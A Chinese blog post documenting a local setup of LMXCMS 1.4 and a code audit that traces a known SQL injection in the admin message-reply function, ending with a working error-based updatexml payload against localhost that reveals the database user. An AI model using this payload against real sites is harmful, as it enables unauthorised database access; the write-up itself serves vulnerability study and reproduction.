梦想cms搭建及漏洞测试

1、直接进入地址(域名/install),进入系统安装程序界面,请注意安装程序的要求和条件,并填写数据库及管理员信息,然后按照步骤安装即可。

2、安装成功以后,切记要删除安装程序,避免二次安装导致数据覆盖,删除的目录有(/install、/c/install)俩个目录,或者在后台首页也可以删除安装目录。

图片名称

配置数据库和管理员信息

图片名称
图片名称

成功进入后台和首页

图片名称
图片名称
随便进入一个界面
图片名称

对应的url地址为

图片名称

使用IDEA打开源代码,查看admin.php,可以发现里面并没有变量m和c的接收,其实后面的参数m代表mobile文件,参数a代表对应的方法名,id就是参数

<?php 
/**
 *  【梦想cms】 http://www.lmxcms.com
 *   后台入口文件*/
define('LMXCMS',TRUE);
define('RUN_TYPE','admin');
require dirname(__FILE__).'/inc/config.inc.php';
require dirname(__FILE__).'/inc/run.inc.php';
?>

查看cms项目结构

图片名称

文件夹c下有两个文件夹admin和index,index对应前端、admin对应后端,因为上面的url地址为后台地址。

因为m对应文件,所以m=Column应该对应文件ColumnAction.class.php

图片名称

进入ColumnAction.class.php文件,搜索得到updateMain()方法,因此再次证实上面url中的a对应的就是方法名

//修改栏目视图
public function updateMain(){
    $this->assignUpdateData();
    $this->smarty->display('Column/updatecolumn.html');
}

因此这套cms与前面cms的不同之处在于不知道访问的url地址对应什么文件,如果直接访问url里面的admin.php无法找到对应的参数和值。即使知道某一个文件有漏洞也不能直接通过访问该文件去触发漏洞

了解完上述前置知识后,查看CNVD上的一个对应版本的漏洞

图片名称

该漏洞信息仅提到后台Bo***.cl***.php文件存在SQL注入漏洞,bo开头的文件只有一个对应的就是BookAction.class.php文件。那么如何判断BookAction.class.php的注入点呢?

判断注入点首先肯定要看参数和变量

public function reply(){
        $id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
        //获取回复数据
        $reply = $this->bookModel->getReply(array($id));
        if($reply){
            $reply = string::html_char($reply[0]['content']);
            $this->smarty->assign('content',$reply);
            $this->smarty->assign('type','update');
        }else{
            $this->smarty->assign('type','add');
        }
        if(isset($_POST['reply'])){
            if(!$_POST['content']){
                rewrite::js_back('回复内容不能为空');
            }
            $this->bookModel->reply(array('id'=>$id,'type'=>$_POST['type'],'username'=>$this->username));
            addlog('留言回复【id:'.$_POST['id'].'】');
            rewrite::succ('修改成功','?m=Book');
        }
        $this->smarty->assign('id',$id);
        $this->smarty->display('Book/reply.html');
    }

只有变量id是明确如何被接收的,其他的几个变量不知道在哪被接收,所以优先观察变量id。如何判断变量有没有注入,需要观察SQL语句,但是reply()函数中并没有SQL语句,需要跟踪变量id出现的函数getReply,观察该函数是否有数据库操作功能。

跟踪函数getReply到F:\phpstudy\phpstudy_pro\WWW\lmxcms1.4\m\BookModel.class.php

//根据留言id获取全部回复
public function getReply(array $id){
    $id = implode(',',$id);
    $param['where'] = 'uid in('.$id.')';
    return parent::selectModel($param);
}

函数getReply中依然没有SQL语句,继续跟踪selectModel函数F:\phpstudy\phpstudy_pro\WWW\lmxcms1.4\class\Model.class.php

//获取数据
protected function selectModel($param=array()){
   if($param['field']){
       $this->field=$param['field'];
   }
   return parent::selectDB($this->tab['0'],$this->field,$param);
}

selectModel函数中依然没有SQL语句,继续跟踪selectDB函数F:\phpstudy\phpstudy_pro\WWW\lmxcms1.4\class\db.class.php

protected function selectDB($tab,Array $field,$param=array()){
    $arr = array();
    $field = implode(',',$field);
    $force = '';
    //强制进入某个索引
    if($param['force']) $force = ' force index('.$param['force'].')';
    if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
    $sqlStr = $this->where($param);
    $sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
    $result=$this->query($sql);
    while(!!$a=mysql_fetch_assoc($result)){
        $arr[]=$a;
    }
    $this->result($result);
    return $arr;
}

selectDB函数中终于出现了SQL语句$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";在sql语句后添加echo $sql;用于输出sql语句便于判断

找到SQL注入点后,构造payload:http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1,其中m=Book用于触发方法BookAction.class.php,a=reply指向reply方法,语句成功执行

图片名称

payload:http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)%23,成功查询到用户

图片名称
posted @ 2024-09-13 10:06  Zonda_R  阅读(57)  评论(0编辑  收藏  举报